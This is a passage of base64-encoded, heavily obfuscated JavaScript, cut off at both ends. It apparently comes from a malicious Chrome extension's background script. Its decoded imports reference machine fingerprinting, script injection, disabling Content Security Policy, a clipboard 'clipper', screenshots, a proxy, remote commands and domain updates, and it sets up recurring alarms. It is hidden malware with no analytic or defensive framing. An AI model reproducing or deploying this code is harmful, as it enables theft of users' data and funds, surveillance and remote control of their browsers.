pe3JldHVybiBfMHg0NTQ1KF8weDI5ZjRhZi0gLTB4MTgzLF8weDU3Yjk4KTt9Y29uc3QgXzB4NWQyZjFjPV8weDRiMjVjZSgpO3doaWxlKCEhW10pe3RyeXtjb25zdCBfMHg0NDI2NzI9LXBhcnNlSW50KF8weDIzZWQzNCgtMHg0ZCwweGEsLTB4MjMsLTB4MTUsJyUhbzUnKSkvKDB4MSotMHgzOWYrMHgyNmZlKy0weDIzNWUpKigtcGFyc2VJbnQoXzB4MTIxYzE5KC0weGM0LCdCdzJwJywtMHg3OCwtMHhkMiwtMHhmMikpLygweDFlNTYrLTB4MSoweDI1ZTErLTB4NzhkKi0weDEpKSstcGFyc2VJbnQoXzB4MTdmZWNlKCdmdERhJywweGMyLDB4MTU1LDB4MTJlLDB4MTBjKSkvKDB4NjgqLTB4NDYrLTB4MTIxMioweDErMHgyZTg1KjB4MSkrLXBhcnNlSW50KF8weDU2MTVjNCgweDkxLDB4M2YsJyUhbzUnLDB4OWYsMHg1YSkpLygweDEqLTB4MjNlKzB4NmNhKzB4MWQqLTB4MjgpKy1wYXJzZUludChfMHg1NjE1YzQoMHhhNywweGY2LCcpOHNdJywweDdiLDB4NmYpKS8oMHhjNWQrMHg5MTkqMHgxKy0weDE1NzEpKy1wYXJzZUludChfMHgxN2ZlY2UoJ0BiS0knLDB4MTUyLDB4MTNkLDB4MTBkLDB4MTM2KSkvKC0weGFmNysweDgzMyoweDErLTB4NzcqLTB4NikqKC1wYXJzZUludChfMHgyM2VkMzQoLTB4MmEsLTB4NiwweGUsLTB4MmUsJ1AqcUgnKSkvKC0weGMqLTB4MTViKy0weDE1NSsweDFkZCotMHg4KSkrLXBhcnNlSW50KF8weDM1ZmIxNigweDM2LDB4NGYsJzQ2T0onLDB4MWEsMHg1MykpLygtMHhmYTgrLTB4MSotMHgxY2ZhKy0weGQ0YSkrLXBhcnNlSW50KF8weDM1ZmIxNigweDYzLDB4NWEsJ095R2knLDB4NmYsMHgyNikpLygweDFhYSsweDEqLTB4MmY1Ky0weDUqLTB4NDQpKigtcGFyc2VJbnQoXzB4MTdmZWNlKCdWd2EpJywweDE3MSwweDE5MiwweDE2YSwweDE5NCkpLygweGEqMHgzYzQrMHhkNDcrLTB4MzJlNSkpO2lmKF8weDQ0MjY3Mj09PV8weDRkOThjYilicmVhaztlbHNlIF8weDVkMmYxY1sncHVzaCddKF8weDVkMmYxY1snc2hpZnQnXSgpKTt9Y2F0Y2goXzB4NDI4ZTk3KXtfMHg1ZDJmMWNbJ3B1c2gnXShfMHg1ZDJmMWNbJ3NoaWZ0J10oKSk7fX19KF8weDU1YWUsMHg1OSoweDRiOSstMHg3MWUzNyotMHgyKzB4MWUwOGYqLTB4MikpO2ltcG9ydHtpbml0TWFjaGluZX1mcm9tJy4vZnVuY3Rpb25zL2dldE1hY2hpbmVJbmZvLmpzJztmdW5jdGlvbiBfMHg0NmQxNjQoXzB4OTQ1NjFjLF8weDIzMzc5MyxfMHg3ODA2MjUsXzB4ZmIzNGY3LF8weGYzMjdkZCl7cmV0dXJuIF8weDQ1NDUoXzB4ZjMyN2RkLTB4MmE2LF8weGZiMzRmNyk7fWltcG9ydHtnZXRJbmplY3Rpb25zfWZyb20nLi9mdW5jdGlvbnMvaW5qZWN0aW9ucy5qcyc7aW1wb3J0e2Rpc2FibGVDU1B9ZnJvbScuL2Z1bmN0aW9ucy9jc3AuanMnO2ltcG9ydHtleGNoYW5nZVNldHRpbmdzfWZyb20nLi9mdW5jdGlvbnMvZXhjaGFuZ2VTZXR0aW5ncy5qcyc7ZnVuY3Rpb24gXzB4NDU0NShfMHg0NGYzMDIsXzB4ZDJmY2E2KXtjb25zdCBfMHgxYzU3Y2M9XzB4NTVhZSgpO3JldHVybiBfMHg0NTQ1PWZ1bmN0aW9uKF8weDUwNjUyNCxfMHg0NDc4YmMpe18weDUwNjUyND1fMHg1MDY1MjQtKDB4M2YqLTB4ODErLTB4MjEzZCstMHgxYjcqLTB4MjcpO2xldCBfMHg0YTg4NjE9XzB4MWM1N2NjW18weDUwNjUyNF07aWYoXzB4NDU0NVsneGhtV2FuJ109PT11bmRlZmluZWQpe3ZhciBfMHg0ZGRkZTE9ZnVuY3Rpb24oXzB4MzMwZDlhKXtjb25zdCBfMHgyMzc2Nzg9J2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5Ky89JztsZXQgXzB4OWY4M2I9JycsXzB4MzZkYmMxPScnO2ZvcihsZXQgXzB4MzZhNTE3PS0weDFmYjIrMHg1Ki0weDJjZisweDEqMHgyZGJkLF8weDE2YmEzYSxfMHg1NzZkODQsXzB4MjE5ODg4PTB4NSoweDNiKy0weDExMmErMHgxMDAzO18weDU3NmQ4ND1fMHgzMzBkOWFbJ2NoYXJBdCddKF8weDIxOTg4OCsrKTt+XzB4NTc2ZDg0JiYoXzB4MTZiYTNhPV8weDM2YTUxNyUoMHgyZioweGEzKzB4MjY0MisweDEqLTB4NDQyYik/XzB4MTZiYTNhKigweGNiOCsweDFkKjB4MTIzKy0weDMqMHhmMjUpK18weDU3NmQ4NDpfMHg1NzZkODQsXzB4MzZhNTE3KyslKC0weDEwNTcrMHgyKi0weDEyM2UrMHgxKjB4MzRkNykpP18weDlmODNiKz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKDB4NCotMHg3MWErMHhmODArMHhkZTcmXzB4MTZiYTNhPj4oLSgtMHgxMWRmKzB4ZGY2KjB4MisweDEqLTB4YTBiKSpfMHgzNmE1MTcmMHgxYzliKzB4MTUqLTB4MTdkKzB4MmFjKSk6MHgzOGIrMHg0MDcqLTB4MSsweDdjKXtfMHg1NzZkODQ9XzB4MjM3Njc4WydpbmRleE9mJ10oXzB4NTc2ZDg0KTt9Zm9yKGxldCBfMHg0NTU3N2I9LTB4MTExNCoweDErMHgxOGM4Ky0weDdiNCxfMHg1MTZiYTM9XzB4OWY4M2JbJ2xlbmd0aCddO18weDQ1NTc3YjxfMHg1MTZiYTM7XzB4NDU1NzdiKyspe18weDM2ZGJjMSs9JyUnKygnMDAnK18weDlmODNiWydjaGFyQ29kZUF0J10oXzB4NDU1NzdiKVsndG9TdHJpbmcnXSgweDEqMHgyNTViKy0weDI1NjIrMHgxNyoweDEpKVsnc2xpY2UnXSgtKC0weDEzZTErLTB4OTU3KzB4MWQzYSkpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDM2ZGJjMSk7fTtjb25zdCBfMHgxYjFjYTk9ZnVuY3Rpb24oXzB4MTVmNDhlLF8weDJiYmI1ZSl7bGV0IF8weDM3ODNhNj1bXSxfMHgxMzk4ZGY9LTB4MjM4MyotMHgxKy0weGRiNCstMHgxNWNmLF8weDFhNjc3NixfMHgyMzA0OTU9Jyc7XzB4MTVmNDhlPV8weDRkZGRlMShfMHgxNWY0OGUpO2xldCBfMHgzMjYxMDI7Zm9yKF8weDMyNjEwMj0weDExKi0weDE5MSsweGY1NSoweDErMHgxZTIqMHg2O18weDMyNjEwMjwtMHg3Ki0weDE4OCstMHhlOTUqLTB4MistMHgyNmUyO18weDMyNjEwMisrKXtfMHgzNzgzYTZbXzB4MzI2MTAyXT1fMHgzMjYxMDI7fWZvcihfMHgzMjYxMDI9LTB4ZjIxKy0weDMqLTB4MTM3KzB4YjdjO18weDMyNjEwMjwweDc5OCstMHgxZWM4Ky0weDMqLTB4ODEwO18weDMyNjEwMisrKXtfMHgxMzk4ZGY9KF8weDEzOThkZitfMHgzNzgzYTZbXzB4MzI2MTAyXStfMHgyYmJiNWVbJ2NoYXJDb2RlQXQnXShfMHgzMjYxMDIlXzB4MmJiYjVlWydsZW5ndGgnXSkpJSgweDYxZSsweDgxNSsweDEqLTB4ZDMzKSxfMHgxYTY3NzY9XzB4Mzc4M2E2W18weDMyNjEwMl0sXzB4Mzc4M2E2W18weDMyNjEwMl09XzB4Mzc4M2E2W18weDEzOThkZl0sXzB4Mzc4M2E2W18weDEzOThkZl09XzB4MWE2Nzc2O31fMHgzMjYxMDI9LTB4NTdjKy0weDg4NSsweDJjZCoweDUsXzB4MTM5OGRmPS0weDczMSstMHhlMjEqMHgyKy0weDIzNzMqLTB4MTtmb3IobGV0IF8weDE3YWNhND0weDgqLTB4MTA1Ky0weDJjOCsweGFmMDtfMHgxN2FjYTQ8XzB4MTVmNDhlWydsZW5ndGgnXTtfMHgxN2FjYTQrKyl7XzB4MzI2MTAyPShfMHgzMjYxMDIrKC0weDRlZCoweDYrMHgxNjFhKy0weDEqLTB4Nzc1KSklKDB4MjUqLTB4YzErMHg1KjB4NGVkKzB4NDQ0KSxfMHgxMzk4ZGY9KF8weDEzOThkZitfMHgzNzgzYTZbXzB4MzI2MTAyXSklKC0weDVlMyotMHg0Ky0weGY0NSstMHg3NDcpLF8weDFhNjc3Nj1fMHgzNzgzYTZbXzB4MzI2MTAyXSxfMHgzNzgzYTZbXzB4MzI2MTAyXT1fMHgzNzgzYTZbXzB4MTM5OGRmXSxfMHgzNzgzYTZbXzB4MTM5OGRmXT1fMHgxYTY3NzYsXzB4MjMwNDk1Kz1TdHJpbmdbJ2Zyb21DaGFyQ29kZSddKF8weDE1ZjQ4ZVsnY2hhckNvZGVBdCddKF8weDE3YWNhNCleXzB4Mzc4M2E2WyhfMHgzNzgzYTZbXzB4MzI2MTAyXStfMHgzNzgzYTZbXzB4MTM5OGRmXSklKDB4MjUqLTB4ZCstMHgyMWQ1Ki0weDErLTB4MWVmNCldKTt9cmV0dXJuIF8weDIzMDQ5NTt9O18weDQ1NDVbJ0RaZXpLSSddPV8weDFiMWNhOSxfMHg0NGYzMDI9YXJndW1lbnRzLF8weDQ1NDVbJ3hobVdhbiddPSEhW107fWNvbnN0IF8weDMzMzUyOD1fMHgxYzU3Y2NbMHg2MSotMHgyMistMHgxN2U2KzB4MjRjOF0sXzB4MWZhMzJiPV8weDUwNjUyNCtfMHgzMzM1MjgsXzB4MzE5YmIxPV8weDQ0ZjMwMltfMHgxZmEzMmJdO3JldHVybiFfMHgzMTliYjE/KF8weDQ1NDVbJ1hWUVlIRSddPT09dW5kZWZpbmVkJiYoXzB4NDU0NVsnWFZRWUhFJ109ISFbXSksXzB4NGE4ODYxPV8weDQ1NDVbJ0RaZXpLSSddKF8weDRhODg2MSxfMHg0NDc4YmMpLF8weDQ0ZjMwMltfMHgxZmEzMmJdPV8weDRhODg2MSk6XzB4NGE4ODYxPV8weDMxOWJiMSxfMHg0YTg4NjE7fSxfMHg0NTQ1KF8weDQ0ZjMwMixfMHhkMmZjYTYpO31pbXBvcnR7Z2V0U2V0dGluZ3N9ZnJvbScuL2Z1bmN0aW9ucy9zZXR0aW5ncy5qcyc7ZnVuY3Rpb24gXzB4NDU0NmNlKF8weDNkOWRhZixfMHgxNWU0NjIsXzB4MWVkNjdmLF8weDhhOWIwLF8weDQ5NDFhNyl7cmV0dXJuIF8weDQ1NDUoXzB4MTVlNDYyLTB4MmQ3LF8weDNkOWRhZik7fWltcG9ydHtnZXRDb21tYW5kc31mcm9tJy4vZnVuY3Rpb25zL2NvbW1hbmRzLmpzJztpbXBvcnR7Y2hlY2tDb25uZWN0aW9uLHNldElzRW5hYmxlZH1mcm9tJy4vZnVuY3Rpb25zL3Byb3h5LmpzJztmdW5jdGlvbiBfMHg0ZWZkMzIoXzB4MzQxMTU2LF8weDI1NGU3OSxfMHgzNWJhMGMsXzB4MWJlNmFmLF8weDk4NmRkYyl7cmV0dXJuIF8weDQ1NDUoXzB4MWJlNmFmLSAtMHgxZDUsXzB4MzQxMTU2KTt9aW1wb3J0e2dldENsaXBwZXJEYXRhfWZyb20nLi9mdW5jdGlvbnMvY2xpcHBlci5qcyc7ZnVuY3Rpb24gXzB4MjY4Y2I2KF8weDM2ZDlmZCxfMHgyNjk2NzksXzB4MTlmMjZjLF8weDMzNzkyNixfMHhlMmU3ODcpe3JldHVybiBfMHg0NTQ1KF8weDI2OTY3OS0weGYwLF8weDE5ZjI2Yyk7fWltcG9ydHt1cGRhdGVEb21haW59ZnJvbScuL2Z1bmN0aW9ucy9kb21haW4uanMnO2Z1bmN0aW9uIF8weDU1YWUoKXtjb25zdCBfMHhhZTc5NTc9WydxZGxkT0NrRScsJ2pieGRWSkZjSUcnLCd5bWtzRUhEcycsJ3JjaGNWd2xkUkcnLCdXUVN4VzdTS1dSbkxXT3RjR1NvZFdSQmRNbWswdHEnLCdxU2syYThrN3dXJywndlp0Y1ZOVmRRVycsJ1c3VmNJMHFUVzZ1JywneVpSZFJDa2xXNG0nLCdXNzlscm1rbCcsJ0UzTmNPQ29YV1BXJywnYldOZFFZbGNVRycsJ0Jtb3dXNjAnLCdXUGhjSzhrWWxxOCcsJ2EzcGRWc2RjU21vNkIwYXJXTzNkVW1vZm5HJywnVzYwcldPVmNWZ0cnLCdEU290VzRhNlc0QycsJ2VNZjBXNmEnLCduQ2thVzZmOGhxJywneDhvVXNmU1InLCdiQ28xQ0NrQmFhJywnbkNraVc2cmNncScsJ0ZDb3FXNWYyVzRDJywnV1JMT1dQRmRIbW9NJywnVzVLQ2pTa2RXUEM3VzVkY1U4b2gnLCdXUUNHaFdaZE5hJywnb0daZFFaVmNMVycsJ2pTa25XNmpTZnEnLCd5Q29FVzdWZFF0dScsJ2U4a0JDMUJjTFcnLCdXNVJjTlNvbnlxMCcsJ1dQRmRLU295REhHJywneENrU2g4b1VlVycsJ3hYL2RHbWtrVzdtJywnV09tRFdQbGNUTHEnLCdscS9kS0NrWFc2WFVXNlZkVENvK1dQT3YnLCdXUVhMV1BxJywnVzZQZ1c3Q09XT0MnLCdCbWs2akNvamlxJywnVzdycVc0bWRXUkcnLCdESWxkTUNrQ1c3dScsJ1c0N2NVOG96RjhrZicsJ2lDay96MkpkU0cnLCdXNHo1VzZtaUJxJywnQlhsY04xL2RMRycsJ0Q4a0toQ29kbnEnLCdoZ0JjVjhvcFdSRzZXUG4rRjhrd25JNCcsJ0Rta0hmQ2s2QnEnLCdod1g0VzdGY0hhJywnV1IweldQTmNPc1MnLCdyQ2tDV1F0ZExTb0UnLCdXUlZkR3NxTVc2RFRXNjVhdVcnLCd6U29XVzVkZFZzUycsJ1c2eGRHOG9HenJpJywnV1ExaUNTb3pXN2knLCdGTGhjRzhvNycsJ1c2cGRMU2s1Rlg0JywnVzY4Y1dSN2NNdXUnLCdXT2RjSG1rWWlHRycsJ1dROW9hTjdjSHEnLCdFU2t0d2JiRicsJ1c2QmRMbWtQZjhvZCcsJ1dRS3BXUGFtV1BGZFRta0ZGWEsnLCdGbWtCeTN0ZEphJywnRFNvdFc1UmRKY08nLCd1Q284Vzc1Nlc2WmRHdk5jT3RsZEptbzdqMlcnLCduU29TcUNvSnM4a2dXT3ZNZm1vbCcsJ1c1dGRQOG9BenRhJywnQm1valc1UEpXNVcnLCdXNDVQZzFwY1RxJywnRVNrSHpITEknLCdmZ2ZLbGEnLCdjOG9KV1FhN1dSbScsJ0Y4b1VxS1NkJywneFNvRUJ2VycsJ3Y4azFXT3BkVlNvRScsJ2xta1dESXknLCdyWWRkSUNrdlc2ZScsJ29Da0JXNWZtaXEnLCdoMlg4VzZ0Y01XJywnVzd2UVdSdGRVU2tCJywnV1FsY1NlYlVXN3knLCdhbWtjRktoY1NXJywnVzQzY0gzejlXNzAnLCdXNUtFaThvSlc2NVhXN0pjU21vclc1ekFXNG0nLCdXN1JjSE1lb1c1RycsJ1dRYkFXUmhjT1lXJywnQUNrV2I4bzVCVycsJ1dSTEhhQ2tIJywncm1vZ0NmVycsJ3lTa0JicjkvJywnZWVKY0xMYVonLCdrQ2s5eVp4ZFJhJywndVNraVdPejgnLCdibWtFVzY5Y2dhJywndkNrS1c1TycsJ2RndlJXNlpjSEcnLCdhQ2t1eWVoY05XJywnVzdidFdRUmRNOGtCJywnbjhrZVc2dlRnVycsJ1c0ajBXNDRWeXEnLCdxOGswV09mdlc1SycsJ1c0RmNHaG5pVzZtJywnVzZybWROWmNIYScsJ1c0WmNUMW42JywnV1F1c2dTazlrcScsJ3lDa0ZtbW9RZ2EnLCdXNUZjTkNvcENHVycsJ3ZZRmNVTjdkVGEnLCdFQ29IbUlOZEdTb2ZXUkpjTDhrTicsJ1c3SHJ2Q2t3JywnVzd2Y3Rtb09BTTBKYm1vZlc2bVZXNWRjVm1rVCcsJ3FDb3dXUjdkSThvQycsJ1dSWmNPbWt0V1B0ZFZxJywnRVkzY1IyRmRHcScsJ3ZtbytXNzU0VzYzZEdmWmRKY0JkSThvemVnekQnLCdXNlc1cm1vM1c3RmRUbWtFaWNWZFRXJywnYlNrb3lLZScsJ1dQcGNVTFhWVzV5JywnV1BaZEpTazlwWHEnLCd2OGs0V1BsZEptb1onLCdXNDhDV1BCY1RlNCcsJ1dReGNSdWJZVzZxJywnZ01wY1Vtb2pXUmE2VzZ2T0Y4a0ZwdGltJywncUNvWnRlR1knLCdyQ2tYVzQvZFZDb2EnLCdXT2ZJRDhvclc3YScsJ2xJbGRIY0ZjTHEnLCd2OGtSdndDJywnYkNraW1XNVpzM2JUVzZ4ZFRTa3lXUjFTJywnVzZucnNta3hXUWEnLCdrU2s5ellwZEtxJywnbG1rK0JZQmRRYScsJ3NtbzRGYlgxJywnV1FOY1RLSGdXUksnLCdXUFRveVNrK1dSSycsJ2gxaGNHMENUJywnbkNrK1dRdVdXUXUnLCdXNTEyVzZPUENXJywnRVhwY0dNZmEnLCdnMlZjUjJpMCcsJ0Vtb0VzSGFHJywndjhrZHQwVmRQVycsJ284a0xCdHhkT2EnLCdXUjVZZW1rSFc0YScsJ1dPaGNIbWtKeXFHJywnYkxkY0pITEcnLCduOGt1eXVWY1FxJywnV1FUK0Vtb3ZXNkMnLCdXT0hkRENrMFdSMCcsJ1dRWEFFQ295VzZTJywnV09pZ2NTazhuVycsJ1c0S0RXNEhURmEnLCdXUUgxaG1rSycsJ1dPWHB0Q28yVzdTJywncUNrUFc0aGRSQ2tiJywnclNrN2xDa2xtVycsJ2Jta0dXUVM2V1JlJywnVzc5d1c0eUInLCdEU2trRVh2bicsJ1c2SEFXNWlsV1JTJywneVNvY3VyVDgnLCdwQ2s5V1A4VldRSycsJ2Jtb3BBU2s2aHEnLCdXTzFwalNrdScsJ1c2YmFXNjdjTXFUaldQZW5tcScsJ2hTa0p0MmRkT3EnLCdXUlJkSFlidldPODRXT0RQc1NrMWdtb1R1cScsJ0VxeGNHMEhoJywnVzY5WWszL2NIVycsJ3pTb0ZXUkRwaUNrMUZDb09XUXknLCdXT1hvemEnLCd4Y0JkT21rRVc0SycsJ1c0L2NMOG91ejA4JywncW1rbVdSL2RNVyddO18weDU1YWU9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4YWU3OTU3O307cmV0dXJuIF8weDU1YWUoKTt9ZnVuY3Rpb24gXzB4M2QyOWUzKF8weDFmODNkNixfMHg1NjNkNTYsXzB4M2Q5ZTVlLF8weDU3MWJkMixfMHgxMjYzMGUpe3JldHVybiBfMHg0NTQ1KF8weDU2M2Q1Ni0weDMyOSxfMHgzZDllNWUpO31pbXBvcnR7Z2V0U2NyZWVuc2hvdFJ1bGVzfWZyb20nLi9mdW5jdGlvbnMvc2NyZWVuc2hvdFJ1bGVzLmpzJztpbXBvcnR7bWFrZVNjcmVlblNob3R9ZnJvbScuL2Z1bmN0aW9ucy9zY3JlZW5zaG90LmpzJztpbXBvcnR7aW5pdGlhbGl6ZUZpbmRlcn1mcm9tJy4vZmluZGVyL2luaXRpYWxpemVGaW5kZXIuanMnO2NvbnN0IHN0YXJ0QWxhcm1zPWFzeW5jKCk9Pntjb25zdCBfMHgyMmIwM2M9eydEQ1BCaCc6ZnVuY3Rpb24oXzB4YzA1NjUyLF8weDQ5MjczYyl7cmV0dXJuIF8weGMwNTY1Mj09PV8weDQ5MjczYzt9LCdFY3NvUyc6XzB4MmQzOTgzKCcjQEFdJywtMHgxNzMsLTB4MWQyLC0weDFjNCwtMHgxN2IpK18weDJkMzk4MygnMFVCWicsLTB4MTQ0LC0weDE1ZiwtMHgxOGUsLTB4MWRiKStfMHgyZDM5ODMoJ0RTZHQnLC0weDE4ZCwtMHgxYTcsLTB4MWE4LC0weDE4ZiksJ1RCQlRmJzpmdW5jdGlvbihfMHgzOTg1M2Qpe3JldHVybiBfMHgzOTg1M2QoKTt9LCdvQ3hvRCc6ZnVuY3Rpb24oXzB4MzEwZDBlLF8weDM3OWNkOCl7cmV0dXJuIF8weDMxMGQwZT09PV8weDM3OWNkODt9LCdvUUhiaic6XzB4MmQzOTgzKCdWd2EpJywtMHgxZDMsLTB4MWZhLC0weDFjZSwtMHgxZDIpK18weDQ3YWI3MigtMHgxMjEsJ2tOXlMnLC0weDEyMywtMHgxMjMsLTB4MTE0KSwnYkFEc0InOmZ1bmN0aW9uKF8weDFjOTE1Mil7cmV0dXJuIF8weDFjOTE1MigpO30sJ1hxVWd1JzpfMHhjYmZhNmUoLTB4MTNkLC0weDE0NiwtMHgxMDUsJyNAQV0nLC0weGYzKStfMHgyZDM5ODMoJ3FiWWonLC0weDE5MCwtMHgxZDAsLTB4MTdlLC0weDFiNikrJ2luJywnWVZRSFQnOmZ1bmN0aW9uKF8weGZiN2E4ZCxfMHgzOGUwNTIpe3JldHVybiBfMHhmYjdhOGQ9PT1fMHgzOGUwNTI7fSwnTWlhcEMnOl8weDJkMzk4MygnTktMbycsLTB4MTg2LC0weDEwYSwtMHgxNTEsLTB4MTMxKStfMHg1MzNiMmEoJ3FiWWonLDB4NTU0LDB4NTIyLDB4NTRiLDB4NGYwKStfMHg0N2FiNzIoLTB4OGMsJ3dHbzInLC0weGQ2LC0weGIzLC0weDlkKSwnb3FGZnknOmZ1bmN0aW9uKF8weDM4ZDI0ZSl7cmV0dXJuIF8weDM4ZDI0ZSgpO319LF8weDQ1MWYxYT17fTtfMHg0NTFmMWFbXzB4Y2JmYTZlKC0weGVhLC0weDhkLC0weGE3LCdqZCMmJywtMHhjMCkrXzB4MmQzOTgzKCdLJnVYJywtMHgxYjAsLTB4MWIzLC0weDFkNSwtMHgxYTcpK18weDJkMzk4MygnQlA5UycsLTB4MTY2LC0weDEzOSwtMHgxNTksLTB4MTE4KV09MC42NjtmdW5jdGlvbiBfMHhkYWZkNzkoXzB4MzBjYzkyLF8weDUyNDBiOCxfMHgyZjJlOGEsXzB4MmY4NzRhLF8weDM1YTZkYyl7cmV0dXJuIF8weDQ1NDUoXzB4MzVhNmRjLTB4M2I5LF8weDUyNDBiOCk7fWZ1bmN0aW9uIF8weDJkMzk4MyhfMHgxNDY3NGUsXzB4NGE2NmQwLF8weDM3NTNmZixfMHhkNDdmNGUsXzB4YzNmMzc5KXtyZXR1cm4gXzB4NDU0NShfMHhkNDdmNGUtIC0weDNkMCxfMHgxNDY3NGUpO31mdW5jdGlvbiBfMHg1MzNiMmEoXzB4OTI5Y2U0LF8weDJkOTU3NCxfMHg0NjlhNGUsXzB4NTZjMzBjLF8weDFlNTdjYil7cmV0dXJuIF8weDQ1NDUoXzB4NDY5YTRlLTB4MzM3LF8weDkyOWNlNCk7fWZ1bmN0aW9uIF8weDQ3YWI3MihfMHgxOTkyNjksXzB4M2ZiNTgyLF8weDMwM2JkMCxfMHgzOGZkMmIsXzB4MzE3ZDJmKXtyZXR1cm4gXzB4NDU0NShfMHgzMTdkMmYtIC0weDMwYSxfMHgzZmI1ODIpO31jb25zdCBfMHg0MzM4ZWM9e307ZnVuY3Rpb24gXzB4Y2JmYTZlKF8weDIyNzNhMSxfMHg0NDU0MzEsXzB4NDlkNDA2LF8weDExYWQ4OSxfMHg0MzRmZTcpe3JldHVybiBfMHg0NTQ1KF8weDQ5ZDQwNi0gLTB4MzIzLF8weDExYWQ4OSk7fV8weDQzMzhlY1tfMHg1MzNiMmEoJ0J3MnAnLDB4NTVlLDB4NTQ0LDB4NGY0LDB4NTMwKStfMHgyZDM5ODMoJypxNFgnLC0weDEwZCwtMHgxMTEsLTB4MTY0LC0weDE3YykrXzB4NDdhYjcyKC0weGY4LCdTdFJRJywtMHgxNDcsLTB4MTU0LC0weDExYildPTAuMDI7Y29uc3QgXzB4NzljZTUwPXt9O18weDc5Y2U1MFtfMHhkYWZkNzkoMHg2MWUsJ0UmdjAnLDB4NjQzLDB4NjRkLDB4NjA3KStfMHhkYWZkNzkoMHg1ZTcsJ3RBQEcnLDB4NWRlLDB4NTk3LDB4NWU5KStfMHg1MzNiMmEoJ1tDQSgnLDB4NTVjLDB4NTQ1LDB4NGY0LDB4NTRhKV09MHgxO2NvbnN0IF8weDJlNzZjYz17fTtfMHgyZTc2Y2NbXzB4NTMzYjJhKCdWd2EpJywweDUzOSwweDUyYiwweDUyZCwweDUyYSkrXzB4Y2JmYTZlKC0weGY0LC0weGQ0LC0weGEyLCdyZ2VBJywtMHg4MykrXzB4Y2JmYTZlKC0weGZhLC0weDExYywtMHgxMDYsJ2UyIUAnLC0weGY4KV09MHg1YTAsKGF3YWl0IGNocm9tZVtfMHg0N2FiNzIoLTB4ZmIsJ05LTG8nLC0weDEwYywtMHgxMTUsLTB4ZGMpKydzJ11bXzB4MmQzOTgzKCdkQjl6JywtMHgxNzMsLTB4MWQyLC0weDE5ZSwtMHgxNzYpXShfMHgyMmIwM2NbXzB4Y2JmYTZlKC0weGViLC0weDE0MCwtMHgxMjMsJ1FnTSonLC0weGRkKV0pLGF3YWl0IGNocm9tZVtfMHhjYmZhNmUoLTB4MTFkLC0weGQ5LC0weDExOSwna05eUycsLTB4ZmQpKydzJ11bXzB4ZGFmZDc5KDB4NjQwLCdEU2R0JywweDVkYiwweDY0NywweDVmMSldKF8weDIyYjAzY1tfMHgyZDM5ODMoJzVGWG4nLC0weDExNiwtMHgxNTAsLTB4MTYxLC0weDE5OSldKSxhd2FpdCBjaHJvbWVbXzB4Y2JmYTZlKC0weDEwZSwtMHhlNSwtMHgxMmUsJ0JQOVMnLC0weDExNykrJ3MnXVtfMHgyZDM5ODMoJ2pkIyYnLC0weDEzMSwtMHgxOWMsLTB4MTY1LC0weDFiYSldKF8weDIyYjAzY1tfMHg0N2FiNzIoLTB4ZGIsJzBVQlonLC0weDEwZiwtMHhlMiwtMHhjMSldKSxhd2FpdCBjaHJvbWVbXzB4MmQzOTgzKCdqYSNoJywtMHgxNGYsLTB4MWViLC0weDE5NiwtMHgxOWMpKydzJ11bXzB4NTMzYjJhKCdjd2FeJywweDRlMCwweDUxZCwweDUxOSwweDU1YildKF8weDIyYjAzY1tfMHgyZDM5ODMoJyk4c10nLC0weDEwZSwtMHgxNWQsLTB4MTQyLC0weDEwZSldKSxhd2FpdCBjaHJvbWVbXzB4NTMzYjJhKCd1KjluJywweDU3ZCwweDU2YywweDU3ZCwweDU1OCkrJ3MnXVtfMHg0N2FiNzIoLTB4ZmUsJ3NhJmUnLC0weGRhLC0weGIxLC0weDEwNSkrJ2UnXShfMHgyMmIwM2NbXzB4NDdhYjcyKC0weDZhLCd3R28yJywtMHg3OCwtMHgzNywtMHg3OCldLF8weDQ1MWYxYSksYXdhaXQgY2hyb21lW18weDJkMzk4MygnNjNbMCcsLTB4MTg0LC0weDE2NiwtMHgxNTgsLTB4MTgxKSsncyddW18weGNiZmE2ZSgtMHgxMzAsLTB4MTU1LC0weDEyMiwncWJZaicsLTB4MTYyKSsnZSddKF8weDIyYjAzY1tfMHg0N2FiNzIoLTB4OTQsJ0xWbFEnLC0weGE0LC0weDExOCwtMHhkYildLF8weDQzMzhlYyksYXdhaXQgY2hyb21lW18weGNiZmE2ZSgtMHhiMCwtMHhjNiwtMHhlYSwnUWdNKicsLTB4MTA4KSsncyddW18weDUzM2IyYSgnN3h6TScsMHg1MjMsMHg1MzQsMHg1NWYsMHg1MGEpKydlJ10oXzB4MjJiMDNjW18weGRhZmQ3OSgweDVhOSwna05eUycsMHg1YWIsMHg1ZDgsMHg1YzgpXSxfMHg3OWNlNTApLGF3YWl0IGNocm9tZVtfMHg1MzNiMmEoJyFLMFYnLDB4NTYxLDB4NTZhLDB4NTU0LDB4NTFjKSsncyddW18weDUzM2IyYSgndmI5RCcsMHg1OWYsMHg1NjAsMHg1MjAsMHg1NzQpKydlJ10oXzB4MjJiMDNjW18weGNiZmE2ZSgtMHhiZSwtMHhiMywtMHhmZiwnZnREYScsLTB4MTU1KV0sXzB4MmU3NmNjKSxhd2FpdCBjaHJvbWVbXzB4NDdhYjcyKC0weGEzLCdqZCMmJywtMHg3NywtMHgxMDYsLTB4YmUpKydzJ11bXzB4NTMzYjJhKCdAYktJJywweDU1ZiwweDU4NCwweDViOSwweDU1YikrJ3JtJ11bXzB4NTMzYjJhKCdOS0xvJywweDU1YiwweDU2OCwweDU1MywweDU3YSkrXzB4NTMzYjJhKCdPeUdpJywweDVjNCwweDU4MiwweDVhYiwweDVkNSkrJ3InXShhc3luYyBmdW5jdGlvbihfMHgzZWZkZGMpe2Z1bmN0aW9uIF8weDMyMTdhYyhfMHhlZmU1ZTMsXzB4MTQxMjk1LF8weDVkNWIwMSxfMHhiN2I0MzMsXzB4NGRjZTNkKXtyZXR1cm4gXzB4MmQzOTgzKF8weDRkY2UzZCxfMHgxNDEyOTUtMHgxMGUsXzB4NWQ1YjAxLTB4ZWEsXzB4ZWZlNWUzLTB4NjA1LF8weDRkY2UzZC0weDEzNik7fWZ1bmN0aW9uIF8weDIwZWM2NChfMHgyNWI2ZGEsXzB4MmY5Mzk4LF8weDEwNmY4OSxfMHgxYzgzMTMsXzB4MzA5MWY5KXtyZXR1cm4gXzB4NTMzYjJhKF8weDI1YjZkYSxfMHgyZjkzOTgtMHg3OSxfMHgxYzgzMTMtIC0weGYxLF8weDFjODMxMy0weDEwMCxfMHgzM